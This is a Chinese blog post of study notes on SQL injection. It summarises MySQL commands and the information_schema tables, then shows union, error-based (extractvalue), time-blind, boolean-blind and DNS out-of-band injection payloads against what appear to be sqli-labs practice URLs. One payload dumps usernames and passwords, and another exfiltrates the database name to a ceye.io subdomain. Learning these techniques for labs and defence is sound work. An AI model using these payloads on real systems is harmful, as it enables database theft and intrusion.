首页 > 数据库 >sql注入知识点总结

sql注入知识点总结

时间:2024-01-17 21:45:49浏览次数:22  
标签:总结 知识点 name username sql table id select

mysql基础知识

  • 删除数据库 drop database 库名;
  • 创建数据库 create database 库名;
    • php中使用sql语句来创建
    • $sql = 'create database database_name';
    • $retval = mysqli_query($coon,$sql);
  • 选择数据库 use database_name;
    • php中使用 mysqli_select_db($conn,'database_name')
  • 创建数据表
    • create table table_name(column1 datatype, column2 datatype);
  • 插入数据
    • 使用insert into table_name(column1,column2,column3,...) values(value1,value2,value3,...);
    • 如果数据是字符型 需要用单引号或者双引号
    • 使用select * from table_name; 查询
  • 使用 rename table table_name to newtable_name 来修改数据表的名称
  • 使用 alter table table_name character set utf8 来修改字符级
  • 使用 alter table table_name add column_name 数据类型 来增加一列内容
  • 使用update table_name set column_name = xx 来修改所有该列名的值 可以通过 where xx = xx 限定
  • alter table 表名 drop 列名 删除列
  • delete from 表名 where xx=xx 删除行
  • delete from 表名 删除表
  • substring(主体,1,30)表示从1看到30
  • concat(1,2) 表示拼接
  • group_concat() 同一行显示
  • as a 表示别名为a as前面是某些语句 a表示查询的结果的别名
  • count(*) 汇总函数
  • rand() 随即返回0~1之间的小数
  • floor() 小数向下取整数 向上取整数用ceiling()
  • concat_was() 将括号内的数据用第一个字段连接起来
  • group by 分组
  • limit 用来显示指定行数

information_schema

  • 这是一个元数据库 其中包含很多表 比如下面三个 打开某个表后 就能看见里面的字段有什么
  • 其中包含一些表
  • SCHEMATA: 包含关于数据库实例的信息,如数据库名称、所有者等。
  • TABLES: 包含关于数据库中表的信息,如表名称、所属数据库、表类型等。
  • COLUMNS: 包含关于表中列的信息,如列名称、数据类型、是否为主键等。

查询注入模块

字符型与数字型的区分以及闭合方式的区分

数字型注入

  • 可以使用 id = 1 和id = 2-1来看结果是不是相同

  • 再用id = 3-1 等查看(如果2不在数据库中则返回NULL)
    字符型注入

  • 例如 username= 'or 1=1 #

  • 实际执行的语句为 select id from users where username=' 'or 1=1 #'

  • 因为username=空返回false 但1 =1 为true 所以是true

  • 所以会返回所有结果集

联合查询

union注入

  • union是一个sql关键字,union可以将两个select语句的结果合并到一个结果集中,但要求两个select语句拥有相同的列数。
  • 例如 select username from users where id=0 union select password from users
  • 用union查询的时候 必须保证前后的列数相等 如果不等可以在select 后面随意加,x
  • 用 group by order by 来判断列数
  • limit 限制输出的数量 比如 加上 limit 1,3 表示从第一行开始显示3行
  • group_concat 多行合并为一行输出回显

报错注入

  • 利用报错之 extractvalue报错注入
  • http://sql/Less-5/?id=1' and 1=extractvalue(2,concat(0x7e,(select database()))) --+
  • http://sql/Less-5/?id=1' and 1=extractvalue(2,concat(0x7e,(select group_concat(username,password) from users))) --+
  • updatexml updatexml(1,2,3) 其中2写payload
  • floor

时间盲注

  • username=' or sleep(1) #
  • 会产生一秒左右延迟
  • 使用if函数进行条件判断 当if第一个参数为真时进行延时
  • 输入username=' or if(1=1,sleep(1),1) #
  • 当第一个参数为真时执行第二个参数 为假时执行第三个参数
  • 可以用substr函数来判断真假 通过有无延迟判断是否重合

布尔盲注

  • username=' or substr(password, ,1)='1' #
  • substr 是一个字符串截取函数 第一个参数是要截取的字符串 第二个是截取开始的位置 第三个是截取长度
  • 通过burp或者python脚本进行盲注

dns注入

  • 使用一些第三方平台 平台会给我们子域名 然后我们用load_file() 命令 去读取子域名 会进行dns解析 然后第三方平台会记录解析行为 然后用concat拼接上payload 最后第三方平台查看回显
  • http://sql/Less-9/?id=1' and (SELECT LOAD_FILE(CONCAT('\\',(SELECT database()),'.k3dxl3.ceye.io\test.txt'))) --+

标签:总结,知识点,name,username,sql,table,id,select
From: https://www.cnblogs.com/lolydawn/p/17971233

相关文章

  • 无涯教程-SQLite - 安装步骤
    SQLite以其出色的零配置功能而闻名,这意味着不需要复杂的设置或管理,本章将引导您完成在Windows,Linux和MacOSX上设置SQLite的过程。在Windows上安装步骤1-转到SQLite下载页面,并从Windows部分下载预编译的二进制文件。步骤2-下载sqlite-shell-win32-*.zip和sqlite-dll-win......
  • 数据迁移sql语句
    --------------------------------导入题目------------------------------INSERTINTOftb_cultivate_question(`F_Id`,`F_ClassifyId`,`F_Type`,`F_Difficulty`,`F_Content`,`F_Answer`,`F_EnabledMark`,`F_CreatorUserId`,......
  • MySQL5.7开启查询日志和审计日志
    Mysql审计日志1、下载mariadb-5.5.56-linux-x86_64.tar.gz解压获取server_audit.so插件下载链接:https://downloads.mariadb.org/mariadb-galera/5.5.56/#file_type=source2、登录MySQL,执行命令获取MySQL的plugin目录mysql>SHOWGLOBALVARIABLESLIKE'plugin_dir';+-------......
  • Java期末知识点总结(不全)
    Java知识点Lesson1认识javaLesson2-3认识对象:封装数据为类1.类中有成员变量(属性/字段)+成员函数(方法),类是对象的模板/缔造者/抽象/类型2.局部变量和成员变量的区别:(1)定义位置不同:定义在类中的变量成员变量,定义在方法或{}中的是局部变量(2)内存中位置不同:成员变量在堆......
  • PostgreSQL 临时表
    CREATETEMPTABLE这种方式创建的临时表默认是session级别的,session关闭会自动删除。(也可以创建为事务级别的,事务结束自动删除)。 CREATETEMPTABLEtemp_table_name(column_list);postgresql官方文档介绍:临时表存在于一个特殊的schema里,所以不支持创建的时候指定sch......
  • 入门Linux运维工程师需要掌握的知识点和工具以及技能
    Linux系统的学习,可以选用redhat或centos,特别是centos在企业中用得最多,当然还会有其它版本的,比如Ubuntu等,根据自己的工作情况和兴趣来定。当然不同发行版本主要是包上的区别以及一些命令的差异,其他内核上的东西都大同小异。对于刚入门或准备入门Linux运维的来说,整理总结了以下10个......
  • SQLserver获取本周、本月、本季、本年、第一天、最后一天
    注:本周第一天为周一、最后一天为周日(七)--本周第一天selectdateadd(WEEK,datediff(WEEK,0,getdate()),0);--本周最后一天selectdateadd(WEEK,datediff(WEEK,0,getdate()),6);--上周第一天selectdateadd(WEEK,datediff(WEEK,0,getdate())-1,0);--上周最后一天select......
  • sql 语句中的DISTINCT以及在count中的使用
    原文链接:https://www.cnblogs.com/tanshuai1001/p/8761378.htmlhttps://baijiahao.baidu.com/s?id=1709966309120511971&wfr=spider&for=pcdistrict必须放在所有字段前面:SELECTDISTINCTstudent,classFROMcourses单字段时按照字段筛选,多字段是以所有字段的值作为key来筛......
  • 无涯教程-SQL Numeric Functions函数
    SQL数字函数主要用于数字操作和/或数学计算。下表详细介绍了数字函数-Sr.No.Function&描述1ABS()返回数值表达式的绝对值。2ACOS()返回数值表达式的反余弦值。如果该值不在-1到1之间,则返回NULL。3ASIN()返回数字表达式的反正弦值。如果值不在-1到1的范围内,则返......
  • sql sever 表处理(增删改查等)
    -------------------------------------------------------------------------查--查找表里是否有某个字段:SELECT*FROMINFORMATION_SCHEMA.COLUMNSWHERECOLUMN_NAME='字段名'ANDTable_Namelike'[^V]%'-------------------------------------------------......